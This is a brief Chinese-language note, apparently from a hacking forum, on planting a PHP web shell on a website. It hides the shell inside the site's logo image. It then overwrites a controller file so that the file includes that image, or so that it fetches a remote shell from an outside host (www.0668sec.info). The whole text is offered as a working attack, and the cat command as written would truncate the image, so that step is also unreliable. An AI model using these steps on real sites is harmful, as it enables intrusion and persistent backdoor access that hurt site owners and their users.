把shell添加到网站logo图片里:
cat logo.png shell.php > logo.png
在网站任意一个php文件里添加下面的最简单方法:
fputs(fopen('/home/www/html/orderpost/Ordernk/Home/Controller/EncryptController.classs.php','w'),'<?php include "upload/logo.png";?>'));
还可以下载远程的shell:
fputs(fopen('/home/www/html/orderpost/Ordernk/Home/Controller/EncryptController.classs.php','w'),file_get_contents('http://www.0668sec.info/utf8.txt'));